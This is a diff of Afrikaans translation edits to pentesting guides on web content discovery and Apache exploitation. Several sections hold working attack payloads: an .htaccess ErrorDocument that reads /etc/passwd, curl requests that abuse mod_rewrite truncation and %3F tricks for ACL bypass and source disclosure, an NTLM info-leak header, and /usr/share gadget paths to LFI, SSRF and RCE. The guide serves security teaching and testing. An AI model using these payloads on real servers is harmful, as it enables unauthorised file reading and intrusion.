 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -268,41 +267,41 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Sien dat elke keer as 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._
+_Let wel: enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, behoort dit Brute-Forced te word._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke links binne HTMLs wat vatbaar kan wees vir takeovers.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTMLs wat vatbaar kan wees vir takeovers.
-- **File Backups**: Sodra jy al die files gevind het, kyk vir backups van uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
+- **File Backups**: Sodra jy al die files gevind het, soek na backups van al die uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
-- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.**
+- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. Indien moontlik, probeer om verborge parameters op elke uitvoerbare web-lêer te soek.**
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Kontroleer die comments van alle files; jy kan **credentials** of **versteekte funksionaliteit** vind.
+- **Comments:** Kontroleer die comments van al die files; jy kan **credentials** of **verborge funksionaliteit** vind.
-- As jy 'n **CTF** doen, is 'n "algemene" truuk om **inligting** te **verberg** binne comments regs van die bladsy (gebruik **honderde** spasiekarakters sodat jy die data nie maklik sien as jy die bron met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n kommentaar onder in die bladsy te verberg.
+- As jy 'n **CTF** speel, is 'n "algemene" truuk om inligting te **versteek** in comments regs op die bladsy (deur **honderde** spasies te gebruik sodat jy die data nie sien as jy die source met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n comment onderaan die webblad te verstop.
-- **API keys**: As jy enige API key vind bestaan daar gidse hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- **API keys**: As jy enige API key vind is daar gidse wat aan dui hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter apis die sleutel kan toegang gee.
+- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang kry.
-- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomain** of enige **link** verband hou met 'n **S3 bucket**. In daardie geval, [**check** the **permissions** of the bucket](buckets/index.html).
+- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige **subdomain** of skakel verband hou met 'n **S3 bucket**. In daardie geval, [**kontroleer** die **permissions** van die bucket](buckets/index.html).
 
 ### Special findings
 
-**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **vind** wat jy moet **aandui**.
+**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **bevindinge** teenkom wat julle moet opneem.
 
-**Interesting files**
+**Interessante lêers**
 
-- Kyk vir **links** na ander files binne die **CSS** files.
+- Soek na **skakels** na ander files binne die **CSS** files.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
-- As jy 'n _**.env**_ vind, kan inligting soos api keys, db-wagwoorde en ander inligting gevind word.
+- As jy 'n _**.env**_ vind kan inligting soos api keys, dbs wagwoorde en ander inligting gevind word.
-- As jy **API endpoints** vind, [should also test them](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk.
+- As jy **API endpoints** vind, [moet jy hulle ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik soos lêers "voorkom".
-- **JS files**: In die spidering afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om **elke JS file wat gevind is te monitor**, aangesien 'n verandering soms 'n potensiële kwesbaarheid in die kode kan aandui. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
+- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om elke gevonden JS-lêer te **monitor**, aangesien 'n verandering soms kan aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
-- Jy moet ook ontdekte JS files toets met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te vind of dit kwesbaar is.
+- Jy moet ook ontdekte JS files nagaan met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- In baie gevalle sal jy die regulêre uitdrukkings moet verstaan wat gebruik word. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
+- In verskeie gevalle sal jy die regular expressions moet verstaan wat gebruik word. Dit sal handig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
-- Jy kan ook **monitor** die files waarin vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
+- Jy kan ook die files monitor waar vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,28 +312,28 @@ _Sien dat elke keer as 'n nuwe directory ontdek word tydens brute-forcing of spi
 
 **502 Proxy Error**
 
-As enige bladsy met daardie **code** reageer, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te benader en jy het 'n SSRF gevind.
+As enige bladsy met daardie kode **reageer**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request soos stuur: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ **toegang te kry** en jy het 'n SSRF gevind.
 
 **NTLM Authentication - Info disclosure**
 
-As die aanmeldende server vir authentication vra en dit 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vra vir die **domain** **name**), kan jy 'n **inligtingslek** veroorsaak.\
+As die bediener wat authentication vra **Windows** is of jy 'n login vind wat vir jou **credentials** vra (en vir **domain** **name** vra), kan jy 'n **inligtinglek** provoceer.\
-**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die server met interne inligting (IIS version, Windows version...) in die header "WWW-Authenticate" reageer.\
+**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die "WWW-Authenticate" header reageer.\
-Jy kan dit **automate** met die **nmap plugin** "_http-ntlm-info.nse_".
+Jy kan dit **outomatiseer** deur die **nmap plugin** "_http-ntlm-info.nse_" te gebruik.
 
 **HTTP Redirect (CTF)**
 
-Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die omleiding uitvoer) maar iets kan daar **weggesteek** wees.
+Dit is moontlik om **inhoud** binne 'n **Redirection** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees.
 
 ### Web Vulnerabilities Checking
 
-Nou dat 'n omvattende enumerasie van die web toepassing uitgevoer is, is dit tyd om vir baie moontlike kwesbaarhede te toets. Jy kan die checklist hier vind:
+Nou dat 'n omvattende enumerasie van die web toepassing gedoen is, is dit tyd om vele moontlike kwesbaarhede te kontroleer. Jy kan die checklist hier vind:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Find more info about web vulns in:
+Vind meer inligting oor web vulns in:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@@ -342,7 +341,7 @@ Find more info about web vulns in:
 
 ### Monitor Pages for changes
 
-Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat moontlik kwesbaarhede kan invoeg.
+Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir modifikasies wat kwesbaarhede kan insluit.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Uitvoerbare PHP-uitbreidings
 
-Kontroleer watter PHP-uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek kan jy uitvoer:
+Kontroleer watter uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek, kan jy die volgende uitvoer:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Ook, sommige plekke waar jy hierdie konfigurasie kan vind is:
+Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -23,11 +23,11 @@ Linux
 ```
 ## LFI via .htaccess ErrorDocument file provider (ap_expr)
 
-As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskep in arbitêre plaaslike lêerlees deur die ap_expr file() funksie binne ErrorDocument te gebruik.
+As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskakel na arbitêre plaaslike lêerleesings deur die ap_expr file() funksie binne ErrorDocument te gebruik.
 
 - Vereistes:
-- Apache 2.4 met expression parser (ap_expr) geaktiveer (standaard in 2.4).
+- Apache 2.4 met expression parser (ap_expr) aangeskakel (standaard in 2.4).
-- Die vhost/dir moet .htaccess toelaat om ErrorDocument te stel (AllowOverride FileInfo).
+- Die vhost/dir moet toelaat dat .htaccess ErrorDocument kan stel (AllowOverride FileInfo).
 - Die Apache worker user moet leesregte op die teikenlêer hê.
 
 .htaccess payload:
@@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
 # On any 404 under this directory, return the contents of an absolute filesystem path
 ErrorDocument 404 %{file:/etc/passwd}
 ```
-Aktiveer deur 'n nie-bestaande path onder daardie directory aan te vra, byvoorbeeld wanneer userdir-style hosting misbruik word:
+Activeer dit deur enige nie‑bestaande pad onder daardie directory op te vra, byvoorbeeld wanneer userdir-style hosting misbruik word:
 ```bash
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
-Wenke en notas:
+Aantekeninge en wenke:
-- Slegs absolute paadjies werk. Die inhoud word teruggestuur as die response body vir die 404-handler.
+- Slegs absolute paadjies werk. Die inhoud word as die responsliggaam vir die 404-handler teruggegee.
-- Effektiewe leespermissies is dié van die Apache-gebruiker (gewoonlik www-data/apache). In standaardopstellings sal jy nie /root/* of /etc/shadow kan lees nie.
+- Effektiewe leesregte is dié van die Apache-user (tipies www-data/apache). Jy sal nie /root/* of /etc/shadow kan lees in standaard opstellings nie.
-- Selfs al is .htaccess root-eienaar, as die ouer gids deur die tenant besit word en hernoeming toelaat, mag jy die oorspronklike .htaccess hernoem en jou eie plaasvervanger via SFTP/FTP oplaai:
+- Selfs al is .htaccess root-eienaarskap, as die ouer-gids tenant-eienaarskap het en hernoeming toelaat, kan jy moontlik die oorspronklike .htaccess hernoem en jou eie vervangingslêer via SFTP/FTP oplaai:
 - rename .htaccess .htaccess.bk
-- sit jou kwaadwillige .htaccess
+- put your malicious .htaccess
-- Gebruik dit om toepassingsbron onder DocumentRoot of vhost config paths te lees om geheime in te samel (DB creds, API keys, ens.).
+- Gebruik dit om application source onder DocumentRoot of vhost config-paadjies te lees om geheime inligting te oes (DB creds, API keys, ens.).
 
-## Verwarringsaanval <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
+## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
-These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
+Hierdie tipe aanvalle is bekendgestel en gedokumenteer [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) en die volgende is 'n samevatting. Die "confusion" attack misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep nie perfek gesinkroniseer werk nie, en dat sommige van hulle onvoorsiene data wysig wat 'n kwesbaarheid in 'n later module kan veroorsaak.
 
-### Lêernaamverwarring
+### Filename Confusion
 
 #### Afkapping
 
-Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle word dit as 'n lêerpad behandel, wat 'n probleem kan veroorsaak.
+Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien meeste modules `r->filename` as 'n URL sal hanteer. Maar in ander gevalle sal dit as 'n lêerpad beskou word, wat 'n probleem kan veroorsaak.
 
-- **Padafkapping**
+### Padafkapping
 
-Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers binne die lêerstelsel te kry deur bloot 'n `?` by te voeg wat die laaste deel van die verwagte pad verwyder:
+Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers op die lêerstelsel te kry deur die laaste deel van die verwagte pad te verwyder deur bloot `?` by te voeg:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -74,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
-- **Misleidende RewriteFlag-toewysing**
+- **Mislei RewriteFlag Assignment**
 
-In die volgende rewrite-reël, solank die URL op .php eindig, sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL te stuur wat na die `?`-teken op .php eindig, terwyl 'n ander tipe lêer (soos 'n beeld) in die pad gelaai word met kwaadaardige php-kode daarin:
+In die volgende rewrite rule, solank die URL op .php eindig sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL wat op .php eindig na die `?` char te stuur, terwyl jy in die pad 'n ander tipe lêer laai (soos 'n beeld) met kwaadwillige php-kode daarin:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-Dit is moontlik om toegang tot lêers te kry waartoe die gebruiker nie behoort te kan toegang kry nie, selfs al behoort die toegang met konfigurasies soos die volgende geweier te word:
+Dit is moontlik om lêers te benader waartoe 'n gebruiker nie toegang behoort te hê nie, selfs al sou toegang met konfigurasies soos die volgende geweier word:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Dit is omdat PHP-FPM standaard URL's wat eindig op `.php` sal ontvang, soos `http://server/admin.php%3Fooo.php`, en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied.
+Dit is omdat PHP-FPM per verstek URLs wat op `.php` eindig, soos `http://server/admin.php%3Fooo.php`, sal ontvang en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai, selfs al het die vorige reël dit verbied.
 
-### DocumentRoot verwarring
+### DocumentRoot Verwarring
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-'n Interessante feit oor Apache is dat die vorige rewrite sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. Dus sal 'n versoek na `https://server/abouth.html` in die lêerstelsel kyk of die lêer in `/var/www/html/about.html` en `/about.html` bestaan. Dit kan basies misbruik word om toegang tot lêers in die lêerstelsel te kry.
+'n prettige feit oor Apache is dat die vorige rewrite sal probeer om die lêer te bereik beide vanaf die documentRoot en vanaf root. Dus, 'n versoek na `https://server/abouth.html` sal nagaan vir die lêer in `/var/www/html/about.html` en `/about.html` op die lêerstelsel. Wat basies misbruik kan word om lêers op die lêerstelsel te benader.
 
-#### **Serverkant Bronkode Blootstelling**
+#### **Bedienerkant Bronkode-Openbaarmaking**
 
-- **Blootstelling van CGI-bronkode**
+- **Openbaar CGI-bronkode**
 
-Deur net %3F aan die einde by te voeg is dit genoeg om die bronkode van 'n CGI-module te leak:
+Net deur `%3F` aan die einde by te voeg is genoeg om die bronkode van 'n cgi module te leak:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 ```
 - **Maak PHP Source Code openbaar**
 
-Indien 'n bediener verskillende domeine het, waarvan een 'n statiese domein is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak:
+As 'n bediener verskillende domeine het, waarvan een 'n static domain is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang tot die filesystem geweier sal word soos in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+Die hoofprobleem met die vorige aanval is dat by verstek meeste toegang tot die filesystem sal geweier word soos in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-Maar, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe:
+Maar [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat by verstek `/usr/share` toe:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-Daarom sal dit moontlik wees om **lêers binne `/usr/share` in hierdie distributies te misbruik.**
+Daarom sou dit moontlik wees om **lêers binne `/usr/share` in hierdie distribusies te misbruik.**
 
-**Plaaslike gadget na inligtingsvrystelling**
+**Plaaslike gadget na Inligtingsvrystelling**
 
-- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsveranderlikes kan leak.
+- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsvariabeles kan leak.
-- Bedieners met **Nginx** of **Jetty** kan sensitiewe webtoepassingsinligting (bv. **web.xml**) blootstel deur hul verstek webwortels geplaas onder **/usr/share**:
+- Bedieners met **Nginx** of **Jetty** mag sensitiewe webtoepassingsinligting (bv. **web.xml**) deur hul standaard webwortels onder **/usr/share** blootstel:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
 **Plaaslike gadget na XSS**
 
-- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die misbruik van die help-lêers se taalwissel-funksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer, kan daar herlei word na kwaadwillige bladsye of ouer weergawes deur 'n **unsafe RewriteRule**.
+- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die uitbuiting van die hulp-lêers se taalwisselfunksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer kan dit na kwaadwillige bladsye of ouer weergawes omskakel deur **unsafe RewriteRule**.
 
 **Plaaslike gadget na LFI**
 
-- As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos **/etc/passwd** te lees:
+- As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers uitgebuit word om sensitiewe lêers soos **/etc/passwd** te lees:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
 **Plaaslike gadget na SSRF**
 
-- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwetsbaarheid maklik geskep word, wat 'n poort tot verdere eksploite bied.
+- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwesbaarheid maklik geskep word, wat 'n poort na verdere uitbuitings bied.
 
 **Plaaslike gadget na RCE**
 
-- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets demonstreer.
+- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan uitgebuit word om ewekansige kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets toon.
 
-#### **Jailbreak vanaf plaaslike gadgets**
+#### **Jailbreak vanaf Plaaslike gadgets**
 
-Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos:
+Dit is ook moontlik om vanuit die toegelate vouers te jailbreak deur simboliese skakels te volg wat deur geïnstalleerde sagteware in daardie vouers geskep is, soos:
 
 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@@ -186,46 +186,46 @@ Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
 
-Verder, deur symlinks te misbruik was dit moontlik om **RCE in Redmine** te verkry.
+Boonop het dit deur die misbruik van simboliese skakels moontlik geword om **RCE in Redmine** te verkry.
 
-### Handler Verwarring <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
 
-Hierdie aanval misbruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur beïnvloed. Weens ouer kode hanteer Apache egter hierdie riglyne onder sekere toestande uitruilbaar, deur `r->content_type` in `r->handler` om te skakel as die eersgenoemde gestel is en laasgenoemde nie.
+Hierdie aanval gebruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur. As gevolg van ouer kode hanteer Apache egter hierdie riglyne deurmekaar onder sekere toestande, en skakel `r->content_type` na `r->handler` om as laasgenoemde gestel is en die eerste nie.
 
-Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak.
+Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat `AddType` en `AddHandler` effektief gelyk maak in effek.
 
-#### **Oorskryf handler om PHP-bronkode te openbaar**
+#### **Oorskryf Handler om PHP-bronkode bloot te stel**
 
-In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, Apache kan laat foutiewelik **die PHP-bronkode teruggee**. Dit was as gevolg van 'n fout in foutbehandeling met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryf van `r->content_type` na `text/html`.\
